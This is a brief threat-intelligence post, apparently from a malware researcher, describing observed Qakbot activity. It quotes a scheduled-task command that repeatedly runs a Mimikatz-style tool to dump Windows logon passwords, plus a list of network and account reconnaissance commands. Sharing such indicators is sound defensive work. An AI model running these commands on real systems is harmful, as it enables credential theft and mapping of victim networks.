@pr0xylife

#qakbot #qbot #malware
Seeing the same scheduled task that runs mimikitteh getting created as last week.

schtasks /create /f /sc minute /mo 5 /tn GameOver /tr "C:\TMP\mim.exe sekurlsa::LogonPasswords > C:\TMP\o.txt"

Also runs all this:

net view
cmd /c set
arp -a
ipconfig /all
nslookup -querytype=ALL -timeout=12 _ldap._tcp.dc._msdcs.WORKGROUP
net share
route print
netstat -nao
net localgroup
localgroup
whoami /all